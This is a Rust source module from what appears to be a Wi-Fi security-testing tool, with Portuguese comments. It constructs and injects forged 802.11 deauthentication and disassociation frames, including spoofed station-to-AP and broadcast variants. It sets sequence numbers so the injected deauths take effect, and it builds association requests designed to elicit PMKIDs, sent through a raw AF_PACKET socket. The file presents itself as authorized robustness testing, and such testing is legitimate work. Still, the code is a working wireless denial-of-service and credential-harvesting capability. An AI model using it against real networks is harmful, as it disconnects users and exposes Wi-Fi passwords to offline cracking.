//! Construção e envio de quadros de gerenciamento (desautenticação e //! desassociação) para testes autorizados de robustez de redes Wi-Fi. //! //! A construção do quadro é independente de plataforma e testável; o envio //! usa `AF_PACKET` e só existe no Linux. O chamador (engine) impõe limites de //! quantidade e intervalo e registra a ação na trilha de auditoria. #[cfg(target_os = "linux")] use crate::error::{Result, SabiaError}; pub const BROADCAST: [u8; 6] = [0xff; 6]; /// Cabeçalho radiotap mínimo (8 bytes, sem campos). É aceito por mac80211 e /// deixa o driver escolher a taxa; suficiente para quadros de gerenciamento. fn radiotap_min() -> [u8; 8] { [0, 0, 8, 0, 0, 0, 0, 0] } fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec { mgmt_frame_from(subtype, bssid, bssid, destination, reason) } /// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto /// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`), /// usado no teste bidirecional de PMF. fn mgmt_frame_from( subtype: u8, transmitter: [u8; 6], bssid: [u8; 6], destination: [u8; 6], reason: u16, ) -> Vec { let fc: u16 = (subtype as u16) << 4; let mut f = Vec::with_capacity(8 + 24 + 2); f.extend_from_slice(&radiotap_min()); f.extend_from_slice(&fc.to_le_bytes()); f.extend_from_slice(&0u16.to_le_bytes()); f.extend_from_slice(&destination); // addr1: destino f.extend_from_slice(&transmitter); // addr2: transmissor f.extend_from_slice(&bssid); // addr3: BSSID f.extend_from_slice(&[0u8; 2]); // número de sequência f.extend_from_slice(&reason.to_le_bytes()); f } /// Quadro de desautenticação (subtipo 12). `destination` pode ser uma /// estação específica ou [`BROADCAST`]. pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec { mgmt_frame(12, bssid, destination, reason) } /// Desautenticação forjada com transmissor arbitrário (STA→AP). pub fn deauth_frame_from( transmitter: [u8; 6], bssid: [u8; 6], destination: [u8; 6], reason: u16, ) -> Vec { mgmt_frame_from(12, transmitter, bssid, destination, reason) } /// Desassociação forjada com transmissor arbitrário (STA→AP). pub fn disassoc_frame_from( transmitter: [u8; 6], bssid: [u8; 6], destination: [u8; 6], reason: u16, ) -> Vec { mgmt_frame_from(10, transmitter, bssid, destination, reason) } /// Quadro de desassociação (subtipo 10). pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec { mgmt_frame(10, bssid, destination, reason) } /// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento /// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo). const SEQ_CTRL_OFFSET: usize = 30; /// Grava um número de sequência (0–4095) no quadro, deixando o número de /// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com /// sequência 0 e o driver do alvo descarta as repetições como duplicata, /// fazendo a desautenticação não ter efeito nenhum apesar de "enviada". pub fn set_seq(frame: &mut [u8], seq: u16) { if frame.len() < SEQ_CTRL_OFFSET + 2 { return; } let field = (seq & 0x0fff) << 4; frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8; frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8; } fn ie(tag: u8, value: &[u8]) -> Vec { let mut out = Vec::with_capacity(2 + value.len()); out.push(tag); out.push(value.len() as u8); out.extend_from_slice(value); out } /// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association /// request no teste de PMKID. pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec { let mut f = Vec::with_capacity(8 + 24 + 6); f.extend_from_slice(&radiotap_min()); f.extend_from_slice(&0x00b0u16.to_le_bytes()); f.extend_from_slice(&0u16.to_le_bytes()); f.extend_from_slice(&bssid); f.extend_from_slice(&station); f.extend_from_slice(&bssid); f.extend_from_slice(&[0u8; 2]); f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto f.extend_from_slice(&1u16.to_le_bytes()); // sequência f.extend_from_slice(&0u16.to_le_bytes()); // status f } fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec { let mut val = Vec::new(); val.extend_from_slice(&1u16.to_le_bytes()); val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP val.extend_from_slice(&1u16.to_le_bytes()); val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP val.extend_from_slice(&(akms.len() as u16).to_le_bytes()); for akm in akms { val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]); } let mut caps = 0u16; if pmf { caps |= 0x0080; } if pmf_required { caps |= 0x0040; } val.extend_from_slice(&caps.to_le_bytes()); val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count val.extend_from_slice(pmkid); ie(48, &val) } /// Association request com RSN/PMKID. O AP pode responder com a mensagem 1 /// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar. pub fn assoc_request_frame( bssid: [u8; 6], station: [u8; 6], ssid: &str, akms: &[u8], pmf: bool, pmf_required: bool, pmkid: [u8; 16], ) -> Vec { let mut body = Vec::new(); body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot body.extend_from_slice(&10u16.to_le_bytes()); // listen interval body.extend_from_slice(&ie(0, ssid.as_bytes())); body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96])); body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36])); if !akms.is_empty() { body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid)); } let mut f = Vec::with_capacity(8 + 24 + body.len()); f.extend_from_slice(&radiotap_min()); f.extend_from_slice(&0x0000u16.to_le_bytes()); f.extend_from_slice(&0u16.to_le_bytes()); f.extend_from_slice(&bssid); f.extend_from_slice(&station); f.extend_from_slice(&bssid); f.extend_from_slice(&[0u8; 2]); f.extend_from_slice(&body); f } #[derive(Debug, Clone, Copy, PartialEq, Eq)] pub enum Reason { Unspecified = 1, PreviousAuthInvalid = 2, DeauthLeaving = 3, Inactivity = 4, Class2FrameFromNonAuth = 7, } impl Reason { pub fn from_u16(value: u16) -> u16 { if value == 0 { 1 } else { value } } } #[cfg(target_os = "linux")] pub struct RawInjector { fd: std::os::fd::RawFd, } #[cfg(target_os = "linux")] impl RawInjector { pub fn open(iface: &str) -> Result { use std::ffi::CString; use std::io; use std::mem; let fd = unsafe { libc::socket(libc::AF_PACKET, libc::SOCK_RAW, 0x0003) }; if fd < 0 { let err = io::Error::last_os_error(); return Err(if err.raw_os_error() == Some(libc::EPERM) { SabiaError::PermissionDenied } else { SabiaError::Io(err) }); } let cname = CString::new(iface).map_err(|_| SabiaError::InterfaceNotFound(iface.to_string()))?; let ifindex = unsafe { libc::if_nametoindex(cname.as_ptr()) }; if ifindex == 0 { unsafe { libc::close(fd) }; return Err(SabiaError::InterfaceNotFound(iface.to_string())); } let mut sll: libc::sockaddr_ll = unsafe { mem::zeroed() }; sll.sll_family = libc::AF_PACKET as u16; sll.sll_protocol = 0x0003u16.to_be(); sll.sll_ifindex = ifindex as i32; let ret = unsafe { libc::bind( fd, &sll as *const libc::sockaddr_ll as *const libc::sockaddr, mem::size_of::() as u32, ) }; if ret < 0 { let err = io::Error::last_os_error(); unsafe { libc::close(fd) }; return Err(SabiaError::Io(err)); } Ok(Self { fd }) } pub fn send(&self, frame: &[u8]) -> Result { let n = unsafe { libc::send( self.fd, frame.as_ptr() as *const libc::c_void, frame.len(), 0, ) }; if n < 0 { return Err(SabiaError::Io(std::io::Error::last_os_error())); } Ok(n as usize) } } #[cfg(target_os = "linux")] impl Drop for RawInjector { fn drop(&mut self) { unsafe { libc::close(self.fd) }; } } #[cfg(test)] mod tests { use super::*; fn bssid() -> [u8; 6] { [0x00, 0x11, 0x22, 0x33, 0x44, 0x55] } fn station() -> [u8; 6] { [0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb] } #[test] fn builds_deauth_frame() { let f = deauth_frame(bssid(), station(), 7); assert_eq!(&f[0..4], &[0, 0, 8, 0]); assert_eq!(u16::from_le_bytes([f[8], f[9]]), 0x00c0); assert_eq!(&f[12..18], &station()); assert_eq!(&f[18..24], &bssid()); assert_eq!(&f[24..30], &bssid()); assert_eq!(u16::from_le_bytes([f[32], f[33]]), 7); } #[test] fn builds_disassoc_broadcast_frame() { let f = disassoc_frame(bssid(), BROADCAST, 1); assert_eq!(u16::from_le_bytes([f[8], f[9]]), 0x00a0); assert_eq!(&f[12..18], &BROADCAST); assert_eq!(f.len(), 8 + 24 + 2); } #[test] fn set_seq_writes_sequence_number_without_touching_fragment_bits() { let mut f = deauth_frame(bssid(), station(), 7); set_seq(&mut f, 1); let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]); assert_eq!(seq_ctrl, 1 << 4); set_seq(&mut f, 0x0fff); let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]); assert_eq!(seq_ctrl, 0x0fff << 4); } }